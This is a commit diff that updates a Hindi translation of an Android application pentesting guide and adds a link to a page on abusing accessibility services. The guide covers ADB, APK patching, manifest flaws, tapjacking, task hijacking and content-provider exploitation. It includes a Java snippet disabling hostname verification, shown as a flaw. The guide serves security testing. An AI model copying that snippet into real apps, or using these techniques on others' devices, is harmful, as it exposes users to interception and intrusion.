Translated ['src/mobile-pentesting/android-app-pentesting/README.md', 's

This commit is contained in:
Translator 2025-08-04 18:35:28 +00:00
parent f55f026d99
commit 49f8925d1b
4 changed files with 250 additions and 97 deletions

View File

@ -322,6 +322,7 @@
- [Android APK Checklist](mobile-pentesting/android-checklist.md) - [Android APK Checklist](mobile-pentesting/android-checklist.md)
- [Android Applications Pentesting](mobile-pentesting/android-app-pentesting/README.md) - [Android Applications Pentesting](mobile-pentesting/android-app-pentesting/README.md)
- [Accessibility Services Abuse](mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md)
- [Android Applications Basics](mobile-pentesting/android-app-pentesting/android-applications-basics.md) - [Android Applications Basics](mobile-pentesting/android-app-pentesting/android-applications-basics.md)
- [Android Task Hijacking](mobile-pentesting/android-app-pentesting/android-task-hijacking.md) - [Android Task Hijacking](mobile-pentesting/android-app-pentesting/android-task-hijacking.md)
- [ADB Commands](mobile-pentesting/android-app-pentesting/adb-commands.md) - [ADB Commands](mobile-pentesting/android-app-pentesting/adb-commands.md)

View File

@ -12,21 +12,22 @@ android-applications-basics.md
## ADB (Android Debug Bridge) ## ADB (Android Debug Bridge)
यह मुख्य उपकरण है जिसकी आपको एक एंड्रॉइड डिवाइस (इम्यूलेटेड या भौतिक) से कनेक्ट करने की आवश्यकता है।\ यह मुख्य उपकरण है जिसकी आपको एक Android डिवाइस (अनुकरणीय या भौतिक) से कनेक्ट करने की आवश्यकता है।\
**ADB** आपको **USB** या **Network** के माध्यम से कंप्यूटर से उपकरणों को नियंत्रित करने की अनुमति देता है। यह उपयोगिता **फाइलों** की दोनों दिशाओं में **कॉपीिंग**, ऐप्स की **स्थापना** और **अनइंस्टॉलेशन**, **शेल कमांड्स** का **निष्पादन**, **डेटा का बैकअप**, **लॉग्स को पढ़ने** जैसी अन्य कार्यों को सक्षम बनाती है। **ADB** आपको **USB** या **Network** के माध्यम से कंप्यूटर से उपकरणों को नियंत्रित करने की अनुमति देता है। यह उपयोगिता **फाइलों** की दोनों दिशाओं में **कॉपीिंग**, ऐप्स की **स्थापना** और **अनइंस्टॉलेशन**, **शेल कमांड्स** का **निष्पादन**, **डेटा का बैकअप**, **लॉग्स का पढ़ना**, और अन्य कार्यों को सक्षम बनाती है।
ADB का उपयोग कैसे करें, यह जानने के लिए [**ADB Commands**](adb-commands.md) की निम्नलिखित सूची पर एक नज़र डालें। ADB का उपयोग कैसे करें, यह जानने के लिए [**ADB Commands**](adb-commands.md) की निम्नलिखित सूची पर एक नज़र डालें।
## Smali ## Smali
कभी-कभी **छिपी हुई जानकारी** (शायद अच्छी तरह से ओबफस्केटेड पासवर्ड या फ्लैग) तक पहुंचने के लिए **एप्लिकेशन कोड को संशोधित करना** दिलचस्प होता है। फिर, APK को डिकंपाइल करना, कोड को संशोधित करना और इसे फिर से संकलित करना दिलचस्प हो सकता है।\ कभी-कभी **छिपी हुई जानकारी** (शायद अच्छी तरह से छिपे हुए पासवर्ड या फ्लैग) तक पहुँचने के लिए **एप्लिकेशन कोड को संशोधित करना** दिलचस्प होता है। फिर, APK को डिकंपाइल करना, कोड को संशोधित करना और इसे फिर से संकलित करना दिलचस्प हो सकता है।\
[**इस ट्यूटोरियल में** आप **APK को डिकंपाइल करना, Smali कोड को संशोधित करना और नए कार्यक्षमता के साथ APK को फिर से संकलित करना** सीख सकते हैं](smali-changes.md)। यह **गतिशील विश्लेषण** के दौरान कई परीक्षणों के लिए एक **वैकल्पिक** के रूप में बहुत उपयोगी हो सकता है जो प्रस्तुत किए जाने वाले हैं। फिर, **इस संभावना को हमेशा ध्यान में रखें** [**इस ट्यूटोरियल में** आप **APK को डिकंपाइल करना, Smali कोड को संशोधित करना और नए कार्यक्षमता के साथ APK को फिर से संकलित करना** सीख सकते हैं](smali-changes.md)। यह **गतिशील विश्लेषण** के दौरान कई परीक्षणों के लिए एक **वैकल्पिक** के रूप में बहुत उपयोगी हो सकता है जो प्रस्तुत किए जाने वाले हैं। फिर, **इस संभावना को हमेशा ध्यान में रखें**
## Other interesting tricks ## Other interesting tricks
- [Play Store में अपनी स्थिति को स्पूफ करना](spoofing-your-location-in-play-store.md) - [Play Store में अपनी स्थिति को धोखा देना](spoofing-your-location-in-play-store.md)
- [Shizuku Privileged API (ADB-आधारित नॉन-रूट प्रिविलेज्ड एक्सेस)](shizuku-privileged-api.md) - [Shizuku Privileged API (ADB-आधारित गैर-रूट विशेषाधिकार पहुंच)](shizuku-privileged-api.md)
- [असुरक्षित इन-ऐप अपडेट तंत्र का शोषण करना](insecure-in-app-update-rce.md) - [असुरक्षित इन-ऐप अपडेट तंत्र का शोषण](insecure-in-app-update-rce.md)
- [एक्सेसिबिलिटी सेवाओं का दुरुपयोग (Android RAT)](accessibility-services-abuse.md)
- **APK डाउनलोड करें**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) - **APK डाउनलोड करें**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- Extract APK from device: - Extract APK from device:
```bash ```bash
@ -60,11 +61,11 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
### दिलचस्प जानकारी की तलाश ### दिलचस्प जानकारी की तलाश
APK के **strings** पर नज़र डालकर आप **पासवर्ड**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** कुंजी, **एन्क्रिप्शन**, **ब्लूटूथ uuids**, **tokens** और कुछ भी दिलचस्प खोज सकते हैं... यहां तक कि कोड निष्पादन **बैकडोर** या प्रमाणीकरण बैकडोर (ऐप के लिए हार्डकोडेड व्यवस्थापक क्रेडेंशियल्स) के लिए भी देखें। APK के **strings** पर नज़र डालकर आप **पासवर्ड**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** कुंजी, **एन्क्रिप्शन**, **ब्लूटूथ uuids**, **tokens** और कुछ भी दिलचस्प खोज सकते हैं... यहां तक कि कोड निष्पादन **बैकडोर** या प्रमाणीकरण बैकडोर (ऐप के लिए हार्डकोडेड व्यवस्थापक क्रेडेंशियल) के लिए भी देखें।
**Firebase** **Firebase**
**फायरबेस URLs** पर विशेष ध्यान दें और जांचें कि क्या यह गलत तरीके से कॉन्फ़िगर किया गया है। [यहाँ FIrebase के बारे में और जानकारी और इसे कैसे शोषण करें।](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) **Firebase URLs** पर विशेष ध्यान दें और जांचें कि क्या यह गलत तरीके से कॉन्फ़िगर किया गया है। [यहाँ Firebase के बारे में अधिक जानकारी और इसे कैसे शोषण करें।](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### एप्लिकेशन की मूल समझ - Manifest.xml, strings.xml ### एप्लिकेशन की मूल समझ - Manifest.xml, strings.xml
@ -72,19 +73,19 @@ APK के **strings** पर नज़र डालकर आप **पासव
**Manifest.xml** से पहचानी गई **कमजोरियाँ** में शामिल हैं: **Manifest.xml** से पहचानी गई **कमजोरियाँ** में शामिल हैं:
- **Debuggable Applications**: _Manifest.xml_ फ़ाइल में डिबग करने योग्य (`debuggable="true"`) के रूप में सेट की गई एप्लिकेशन जोखिम पैदा करती हैं क्योंकि वे ऐसे कनेक्शन की अनुमति देती हैं जो शोषण की ओर ले जा सकते हैं। डिबग करने योग्य एप्लिकेशन को शोषित करने के तरीके को समझने के लिए, एक ट्यूटोरियल देखें जिसमें डिवाइस पर डिबग करने योग्य एप्लिकेशन को खोजने और शोषित करने के बारे में बताया गया है - **Debuggable Applications**: _Manifest.xml_ फ़ाइल में डिबग करने योग्य (`debuggable="true"`) के रूप में सेट की गई एप्लिकेशन जोखिम पैदा करती हैं क्योंकि वे ऐसे कनेक्शन की अनुमति देती हैं जो शोषण की ओर ले जा सकते हैं। डिबग करने योग्य एप्लिकेशनों का शोषण कैसे करें, इस पर एक ट्यूटोरियल के लिए देखें
- **Backup Settings**: संवेदनशील जानकारी से निपटने वाली एप्लिकेशनों के लिए `android:allowBackup="false"` विशेष रूप से सेट किया जाना चाहिए ताकि adb के माध्यम से अनधिकृत डेटा बैकअप को रोका जा सके, विशेष रूप से जब usb डिबगिंग सक्षम हो। - **Backup Settings**: संवेदनशील जानकारी से निपटने वाली एप्लिकेशनों के लिए `android:allowBackup="false"` विशेष रूप से सेट किया जाना चाहिए ताकि adb के माध्यम से अनधिकृत डेटा बैकअप को रोका जा सके, विशेष रूप से जब usb डिबगिंग सक्षम हो।
- **Network Security**: _res/xml/_ में कस्टम नेटवर्क सुरक्षा कॉन्फ़िगरेशन (`android:networkSecurityConfig="@xml/network_security_config"`) सुरक्षा विवरण जैसे प्रमाणपत्र पिन और HTTP ट्रैफ़िक सेटिंग्स को निर्दिष्ट कर सकते हैं। एक उदाहरण विशेष डोमेन के लिए HTTP ट्रैफ़िक की अनुमति देना है। - **Network Security**: _res/xml/_ में कस्टम नेटवर्क सुरक्षा कॉन्फ़िगरेशन (`android:networkSecurityConfig="@xml/network_security_config"`) सुरक्षा विवरण जैसे प्रमाणपत्र पिन और HTTP ट्रैफ़िक सेटिंग्स निर्दिष्ट कर सकते हैं। एक उदाहरण विशेष डोमेन के लिए HTTP ट्रैफ़िक की अनुमति देना है।
- **Exported Activities and Services**: मैनिफेस्ट में निर्यातित गतिविधियों और सेवाओं की पहचान करना उन घटकों को उजागर कर सकता है जिन्हें दुरुपयोग किया जा सकता है। गतिशील परीक्षण के दौरान आगे के विश्लेषण से यह पता चल सकता है कि इन घटकों का शोषण कैसे किया जाए। - **Exported Activities and Services**: मैनिफेस्ट में निर्यातित गतिविधियों और सेवाओं की पहचान करना उन घटकों को उजागर कर सकता है जिन्हें दुरुपयोग किया जा सकता है। गतिशील परीक्षण के दौरान आगे के विश्लेषण से यह पता चल सकता है कि इन घटकों का शोषण कैसे किया जाए।
- **Content Providers and FileProviders**: उजागर सामग्री प्रदाता अनधिकृत डेटा तक पहुंच या संशोधन की अनुमति दे सकते हैं। FileProviders की कॉन्फ़िगरेशन की भी जांच की जानी चाहिए। - **Content Providers and FileProviders**: उजागर सामग्री प्रदाता अनधिकृत पहुंच या डेटा में संशोधन की अनुमति दे सकते हैं। FileProviders की कॉन्फ़िगरेशन की भी जांच की जानी चाहिए।
- **Broadcast Receivers and URL Schemes**: ये घटक शोषण के लिए उपयोग किए जा सकते हैं, विशेष रूप से इनपुट कमजोरियों के लिए URL योजनाओं के प्रबंधन के तरीके पर ध्यान केंद्रित करते हुए - **Broadcast Receivers and URL Schemes**: ये घटक शोषण के लिए उपयोग किए जा सकते हैं, विशेष रूप से इनपुट कमजोरियों के लिए URL स्कीमों के प्रबंधन पर ध्यान देने के साथ
- **SDK Versions**: `minSdkVersion`, `targetSDKVersion`, और `maxSdkVersion` विशेषताएँ समर्थित Android संस्करणों को इंगित करती हैं, सुरक्षा कारणों से पुराने, कमजोर Android संस्करणों का समर्थन न करने के महत्व को उजागर करती हैं। - **SDK Versions**: `minSdkVersion`, `targetSDKVersion`, और `maxSdkVersion` विशेषताएँ समर्थित Android संस्करणों को इंगित करती हैं, सुरक्षा कारणों से पुराने, कमजोर Android संस्करणों का समर्थन न करने के महत्व को उजागर करती हैं।
**strings.xml** फ़ाइल से संवेदनशील जानकारी जैसे API कुंजी, कस्टम स्कीमा, और अन्य डेवलपर नोट्स का पता लगाया जा सकता है, जो इन संसाधनों की सावधानीपूर्वक समीक्षा की आवश्यकता को उजागर करता है। **strings.xml** फ़ाइल से संवेदनशील जानकारी जैसे API कुंजी, कस्टम स्कीमा, और अन्य डेवलपर नोट्स का पता लगाया जा सकता है, जो इन संसाधनों की सावधानीपूर्वक समीक्षा की आवश्यकता को उजागर करता है।
### Tapjacking ### Tapjacking
**Tapjacking** एक हमला है जहाँ एक **दुष्ट** **एप्लिकेशन** लॉन्च किया जाता है और **एक पीड़ित एप्लिकेशन के पर खुद को रखता है**। जब यह पीड़ित ऐप को दृश्यमान रूप से अस्पष्ट करता है, तो इसका उपयोगकर्ता इंटरफ़ेस इस तरह से डिज़ाइन किया गया है कि उपयोगकर्ता को इसके साथ बातचीत करने के लिए धोखा दिया जा सके, जबकि यह बातचीत को पीड़ित ऐप के पास भेज रहा है।\ **Tapjacking** एक हमला है जहाँ एक **दुष्ट** **एप्लिकेशन** लॉन्च किया जाता है और **एक पीड़ित एप्लिकेशन के शीर्ष पर खुद को रखता है**। जब यह पीड़ित ऐप को दृश्यमान रूप से अस्पष्ट करता है, तो इसका उपयोगकर्ता इंटरफ़ेस इस तरह से डिज़ाइन किया गया है कि उपयोगकर्ता को इसके साथ बातचीत करने के लिए धोखा दिया जा, जबकि यह बातचीत को पीड़ित ऐप के पास भेज रहा है।\
इसका प्रभाव यह है कि यह **उपयोगकर्ता को यह जानने से अंधा कर देता है कि वे वास्तव में पीड़ित ऐप पर क्रियाएँ कर रहे हैं** इसका प्रभाव यह है कि यह **उपयोगकर्ता को यह जानने से अंधा कर देता है कि वे वास्तव में पीड़ित ऐप पर क्रियाएँ कर रहे हैं**
अधिक जानकारी के लिए देखें: अधिक जानकारी के लिए देखें:
@ -95,7 +96,7 @@ tapjacking.md
### टास्क हाईजैकिंग ### टास्क हाईजैकिंग
एक **गतिविधि** जिसमें **`launchMode`** **`singleTask`** पर सेट है और कोई `taskAffinity` परिभाषित नहीं है, टास्क हाईजैकिंग के लिए संवेदनशील है। इसका मतलब है कि एक **एप्लिकेशन** स्थापित किया जा सकता है और यदि इसे असली एप्लिकेशन से पहले लॉन्च किया जाता है तो यह **असली एप्लिकेशन के कार्य को हाईजैक कर सकता है** (इसलिए उपयोगकर्ता **दुष्ट एप्लिकेशन के साथ बातचीत कर रहा होगा यह सोचते हुए कि वह असली एप्लिकेशन का उपयोग कर रहा है**)। एक **गतिविधि** जिसमें **`launchMode`** **`singleTask`** पर सेट है और कोई `taskAffinity` परिभाषित नहीं है, टास्क हाईजैकिंग के लिए संवेदनशील है। इसका मतलब है कि एक **एप्लिकेशन** स्थापित किया जा सकता है और यदि इसे वास्तविक एप्लिकेशन से पहले लॉन्च किया जाता है, तो यह **वास्तविक एप्लिकेशन के कार्य को हाईजैक कर सकता है** (ताकि उपयोगकर्ता **दुष्ट एप्लिकेशन के साथ बातचीत कर रहा हो, यह सोचते हुए कि वह असली का उपयोग कर रहा है**)।
अधिक जानकारी के लिए देखें: अधिक जानकारी के लिए देखें:
@ -107,12 +108,12 @@ android-task-hijacking.md
**आंतरिक भंडारण** **आंतरिक भंडारण**
Android में, फ़ाइलें **आंतरिक** भंडारण में **स्टोर की गई** होती हैं और केवल **ऐप** द्वारा **एक्सेस की जाने के लिए डिज़ाइन की गई हैं** जिसने उन्हें **बनाया**। यह सुरक्षा उपाय Android ऑपरेटिंग सिस्टम द्वारा **लागू** किया गया है और सामान्यतः अधिकांश एप्लिकेशनों की सुरक्षा आवश्यकताओं के लिए पर्याप्त है। हालाँकि, डेवलपर्स कभी-कभी `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` जैसे मोड का उपयोग करते हैं ताकि फ़ाइलों को विभिन्न एप्लिकेशनों के बीच **शेयर** किया जा सके। फिर भी, ये मोड अन्य एप्लिकेशनों द्वारा इन फ़ाइलों तक पहुँच को **सीमित नहीं करते**, जिसमें संभावित रूप से दुष्ट एप्लिकेशन भी शामिल हैं। Android में, फ़ाइलें **आंतरिक** भंडारण में **स्टोर की गई** होती हैं और केवल **ऐप** द्वारा **एक्सेस की जाने के लिए डिज़ाइन की गई हैं** जिसने उन्हें **बनाया**। यह सुरक्षा उपाय Android ऑपरेटिंग सिस्टम द्वारा **लागू** किया गया है और अधिकांश एप्लिकेशनों की सुरक्षा आवश्यकताओं के लिए सामान्यतः पर्याप्त है। हालाँकि, डेवलपर्स कभी-कभी `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` जैसे मोड का उपयोग करते हैं ताकि फ़ाइलों को विभिन्न एप्लिकेशनों के बीच **शेयर** किया जा सके। फिर भी, ये मोड अन्य एप्लिकेशनों द्वारा इन फ़ाइलों तक पहुँच को **सीमित नहीं करते**, जिसमें संभावित रूप से दुष्ट एप्लिकेशन भी शामिल हैं।
1. **स्थैतिक विश्लेषण:** 1. **स्थैतिक विश्लेषण:**
- **सुनिश्चित करें** कि `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` का उपयोग **्यानपूर्वक जांचा गया है**। ये मोड फ़ाइलों को **अनपेक्षित या अनधिकृत पहुच** के लिए **खुला** कर सकते हैं। - **सुनिश्चित करें** कि `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` का उपयोग **सावधानपूर्वक जांचा गया है**। ये मोड फ़ाइलों को **अनपेक्षित या अनधिकृत पहुच** के लिए **खुला** कर सकते हैं।
2. **गतिशील विश्लेषण:** 2. **गतिशील विश्लेषण:**
- **जांचें** कि ऐप द्वारा बनाई गई फ़ाइलों पर **अनुमतियाँ** सेट की गई हैं। विशेष रूप से, **जांचें** कि क्या कोई फ़ाइलें **विश्व स्तर पर पढ़ने या लिखने के लिए सेट की गई हैं**। यह एक महत्वपूर्ण सुरक्षा जोखिम पैदा कर सकता है, क्योंकि यह **किसी भी एप्लिकेशन** को जो डिवाइस पर स्थापित है, उसकी उत्पत्ति या इरादे की परवाह किए बिना, इन फ़ाइलों को **पढ़ने या संशोधित करने** की अनुमति देगा। - **जांचें** कि ऐप द्वारा बनाई गई फ़ाइलों पर **अनुमतियाँ** सेट की गई हैं। विशेष रूप से, **जांचें** कि क्या कोई फ़ाइलें **विश्व स्तर पर पढ़ने या लिखने के लिए सेट की गई हैं**। यह एक महत्वपूर्ण सुरक्षा जोखिम पैदा कर सकता है, क्योंकि यह **किसी भी एप्लिकेशन** को, जो डिवाइस पर स्थापित है, इन फ़ाइलों को **पढ़ने या संशोधित करने** की अनुमति देगा, चाहे उसका मूल या इरादा कुछ भी हो
**बाहरी भंडारण** **बाहरी भंडारण**
@ -121,19 +122,19 @@ Android में, फ़ाइलें **आंतरिक** भंडार
1. **पहुँच**: 1. **पहुँच**:
- बाहरी भंडारण पर फ़ाइलें **वैश्विक रूप से पढ़ने और लिखने योग्य** होती हैं। इसका मतलब है कि कोई भी एप्लिकेशन या उपयोगकर्ता इन फ़ाइलों तक पहुँच सकता है। - बाहरी भंडारण पर फ़ाइलें **वैश्विक रूप से पढ़ने और लिखने योग्य** होती हैं। इसका मतलब है कि कोई भी एप्लिकेशन या उपयोगकर्ता इन फ़ाइलों तक पहुँच सकता है।
2. **सुरक्षा चिंताएँ**: 2. **सुरक्षा चिंताएँ**:
- पहुँच की आसानी को देखते हुए, सलाह दी जाती है कि **संवेदनशील जानकारी** को बाहरी भंडारण पर **न रखें** - पहुँच की आसानी को देखते हुए, **संवेदनशील जानकारी** को बाहरी भंडारण पर **स्टोर न करने** की सलाह दी जाती है
- बाहरी भंडारण को किसी भी एप्लिकेशन द्वारा हटाया या एक्सेस किया जा सकता है, जिससे यह कम सुरक्षित हो जाता है। - बाहरी भंडारण को किसी भी एप्लिकेशन द्वारा हटाया या एक्सेस किया जा सकता है, जिससे यह कम सुरक्षित हो जाता है।
3. **बाहरी भंडारण से डेटा को संभालना**: 3. **बाहरी भंडारण से डेटा को संभालना**:
- हमेशा बाहरी भंडारण से प्राप्त डेटा पर **इनपुट मान्यता** करें। यह महत्वपूर्ण है क्योंकि डेटा एक अविश्वसनीय स्रोत से है। - हमेशा बाहरी भंडारण से प्राप्त डेटा पर **इनपुट मान्यता** करें। यह महत्वपूर्ण है क्योंकि डेटा एक अविश्वसनीय स्रोत से है।
- गतिशील लोडिंग के लिए बाहरी भंडारण पर निष्पादन योग्य या क्लास फ़ाइलें स्टोर करना दृढ़ता से हतोत्साहित किया जाता है। - बाहरी भंडारण पर निष्पादन योग्य या क्लास फ़ाइलों को गतिशील लोडिंग के लिए स्टोर करना दृढ़ता से हतोत्साहित किया जाता है।
- यदि आपकी एप्लिकेशन को बाहरी भंडारण से निष्पादन योग्य फ़ाइलें प्राप्त करनी हैं, तो सुनिश्चित करें कि ये फ़ाइलें **हस्ताक्षरित और क्रिप्टोग्राफिक रूप से सत्यापित** हैं इससे पहले कि उन्हें गतिशील रूप से लोड किया जाए। यह आपके एप्लिकेशन की सुरक्षा अखंडता बनाए रखने के लिए महत्वपूर्ण है। - यदि आपकी एप्लिकेशन को बाहरी भंडारण से निष्पादन योग्य फ़ाइलें प्राप्त करनी हैं, तो सुनिश्चित करें कि ये फ़ाइलें **हस्ताक्षरित और क्रिप्टोग्राफिक रूप से सत्यापित** हैं इससे पहले कि उन्हें गतिशील रूप से लोड किया जाए। यह आपके एप्लिकेशन की सुरक्षा अखंडता बनाए रखने के लिए महत्वपूर्ण है।
बाहरी भंडारण को `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` में **एक्सेस** किया जा सकता है। बाहरी भंडारण को `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` में **एक्सेस** किया जा सकता है।
> [!TIP] > [!TIP]
> Android 4.4 (**API 17**) से शुरू होकर, SD कार्ड में एक निर्देशिका संरचना है जो **किसी ऐप को उस ऐप के लिए विशेष रूप से निर्देशिका तक पहुँच को सीमित करती है**। यह दुष्ट एप्लिकेशन को किसी अन्य ऐप की फ़ाइलों तक पढ़ने या लिखने की पहुँच प्राप्त करने से रोकता है। > Android 4.4 (**API 17**) से शुरू होकर, SD कार्ड में एक निर्देशिका संरचना है जो **एक ऐप से उस ऐप के लिए विशेष रूप से निर्देशिका तक पहुँच को सीमित करती है**। यह दुष्ट एप्लिकेशन को किसी अन्य ऐप की फ़ाइलों तक पढ़ने या लिखने की पहुँच प्राप्त करने से रोकता है।
**स्पष्ट-टेक्स्ट में संग्रहीत संवेदनशील डेटा** **स्पष्ट-टेक्स्ट में स्टोर की गई संवेदनशील डेटा**
- **Shared preferences**: Android प्रत्येक एप्लिकेशन को `/data/data/<packagename>/shared_prefs/` पथ में xml फ़ाइलें आसानी से सहेजने की अनुमति देता है और कभी-कभी उस फ़ोल्डर में स्पष्ट-टेक्स्ट में संवेदनशील जानकारी मिल सकती है। - **Shared preferences**: Android प्रत्येक एप्लिकेशन को `/data/data/<packagename>/shared_prefs/` पथ में xml फ़ाइलें आसानी से सहेजने की अनुमति देता है और कभी-कभी उस फ़ोल्डर में स्पष्ट-टेक्स्ट में संवेदनशील जानकारी मिल सकती है।
- **Databases**: Android प्रत्येक एप्लिकेशन को `/data/data/<packagename>/databases/` पथ में sqlite डेटाबेस को आसानी से सहेजने की अनुमति देता है और कभी-कभी उस फ़ोल्डर में स्पष्ट-टेक्स्ट में संवेदनशील जानकारी मिल सकती है। - **Databases**: Android प्रत्येक एप्लिकेशन को `/data/data/<packagename>/databases/` पथ में sqlite डेटाबेस को आसानी से सहेजने की अनुमति देता है और कभी-कभी उस फ़ोल्डर में स्पष्ट-टेक्स्ट में संवेदनशील जानकारी मिल सकती है।
@ -142,7 +143,7 @@ Android में, फ़ाइलें **आंतरिक** भंडार
**सभी प्रमाणपत्र स्वीकार करें** **सभी प्रमाणपत्र स्वीकार करें**
किसी कारण से कभी-कभी डेवलपर्स सभी प्रमाणपत्रों को स्वीकार करते हैं भले ही उदाहरण के लिए होस्टनाम कोड की निम्नलिखित पंक्तियों के साथ मेल न खाता हो: किसी कारण से कभी-कभी डेवलपर्स सभी प्रमाणपत्रों को स्वीकार करते हैं भले ही उदाहरण के लिए होस्टनाम कोड की निम्नलिखित पंक्तियों से मेल न खाता हो:
```java ```java
SSLSocketFactory sf = new cc(trustStore); SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
@ -157,15 +158,15 @@ A good way to test this is to try to capture the traffic using some proxy like B
**Use of Insecure and/or Deprecated Algorithms** **Use of Insecure and/or Deprecated Algorithms**
डेवलपर्स को **deprecated algorithms** का उपयोग करके **authorisation checks**, **store** या **send** डेटा नहीं करना चाहिए। इनमें से कुछ एल्गोरिदम हैं: RC4, MD4, MD5, SHA1... यदि **hashes** का उपयोग पासवर्ड को स्टोर करने के लिए किया जाता है, तो उदाहरण के लिए, salt के साथ **hashes brute-force resistant** का उपयोग किया जाना चाहिए। डेवलपर्स को **deprecated algorithms** का उपयोग करके प्राधिकरण **checks**, **store** या **send** डेटा नहीं करना चाहिए। इनमें से कुछ एल्गोरिदम हैं: RC4, MD4, MD5, SHA1... यदि **hashes** का उपयोग पासवर्ड को स्टोर करने के लिए किया जाता है, तो salt के साथ brute-force **resistant** hashes का उपयोग किया जाना चाहिए।
### Other checks ### Other checks
- यह अनुशंसा की जाती है कि **APK को obfuscate करें** ताकि हमलावरों के लिए रिवर्स इंजीनियरिंग का काम कठिन हो सके - यह अनुशंसा की जाती है कि **APK को obfuscate** करें ताकि हमलावरों के लिए रिवर्स इंजीनियरिंग का काम कठिन हो जाए
- यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे **देखने के लिए अपने स्वयं के चेक** करने चाहिए कि मोबाइल रूटेड है या नहीं और इसके अनुसार कार्य करना चाहिए। - यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे **देखन चाहिए कि मोबाइल रूटेड है या नहीं** और इसके अनुसार कार्य करना चाहिए।
- यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे यह जांचना चाहिए कि क्या **emulator** का उपयोग किया जा रहा है। - यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे देखना चाहिए कि क्या **emulator** का उपयोग किया जा रहा है।
- यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे **execute करने से पहले अपनी अखंडता की जांच करनी चाहिए** कि क्या इसे संशोधित किया गया है। - यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे **execute करने से पहले अपनी अखंडता की जांच करनी चाहिए** कि क्या इसे संशोधित किया गया है।
- [**APKiD**](https://github.com/rednaga/APKiD) का उपयोग करें यह जांचने के लिए कि APK बनाने के लिए कौन सा compiler/packer/obfuscator का उपयोग किया गया था। - [**APKiD**](https://github.com/rednaga/APKiD) का उपयोग करें यह जांचने के लिए कि APK बनाने के लिए कौन सा कंपाइलर/पैकर/obfuscator का उपयोग किया गया था।
### React Native Application ### React Native Application
@ -337,12 +338,12 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
#### Tapjacking #### Tapjacking
यदि tapjacking को रोका नहीं गया, तो आप निर्यातित गतिविधि का दुरुपयोग कर सकते हैं ताकि **उपयोगकर्ता अप्रत्याशित क्रियाएँ** कर सके। Tapjacking के बारे में अधिक जानकारी के लिए [**यहाँ लिंक का पालन करें**](#tapjacking)। यदि tapjacking को रोका नहीं गया, तो आप निर्यातित गतिविधि का दुरुपयोग कर सकते हैं ताकि **उपयोगकर्ता अप्रत्याशित क्रियाएँ करें**। Tapjacking के बारे में अधिक जानकारी के लिए [**यहाँ लिंक का पालन करें**](#tapjacking)।
### सामग्री प्रदाताओं का शोषण - संवेदनशील जानकारी तक पहुँच और हेरफेर ### सामग्री प्रदाताओं का शोषण - संवेदनशील जानकारी तक पहुँच और हेरफेर
[**यदि आप सामग्री प्रदाता क्या है, इसे ताज़ा करना चाहते हैं तो इसे पढ़ें।**](android-applications-basics.md#content-provider)\ [**यदि आप सामग्री प्रदाता क्या है, इसे ताज़ा करना चाहते हैं तो इसे पढ़ें।**](android-applications-basics.md#content-provider)\
सामग्री प्रदाता मूल रूप से **डेटा साझा करने** के लिए उपयोग किए जाते हैं। यदि किसी ऐप में उपलब्ध सामग्री प्रदाता हैं, तो आप उनसे **संवेदनशील** डेटा **निकालने** में सक्षम हो सकते हैं। यह भी **SQL इंजेक्शन** और **पथ ट्रैवर्सल** का परीक्षण करन दिलचस्प है क्योंकि वे कमजोर हो सकते हैं। सामग्री प्रदाता मूल रूप से **डेटा साझा करने** के लिए उपयोग किए जाते हैं। यदि किसी ऐप में उपलब्ध सामग्री प्रदाता हैं, तो आप उनसे **संवेदनशील** डेटा निकालने में सक्षम हो सकते हैं। यह भी संभावित **SQL इंजेक्शन** और **पथ ट्रैवर्सल** का परीक्षण करने के लिए दिलचस्प है क्योंकि वे कमजोर हो सकते हैं।
[**Drozer के साथ सामग्री प्रदाताओं का शोषण करना सीखें।**](drozer-tutorial/index.html#content-providers) [**Drozer के साथ सामग्री प्रदाताओं का शोषण करना सीखें।**](drozer-tutorial/index.html#content-providers)
@ -351,34 +352,34 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
[**यदि आप सेवा क्या है, इसे ताज़ा करना चाहते हैं तो इसे पढ़ें।**](android-applications-basics.md#services)\ [**यदि आप सेवा क्या है, इसे ताज़ा करना चाहते हैं तो इसे पढ़ें।**](android-applications-basics.md#services)\
याद रखें कि एक सेवा की क्रियाएँ `onStartCommand` विधि में शुरू होती हैं। याद रखें कि एक सेवा की क्रियाएँ `onStartCommand` विधि में शुरू होती हैं।
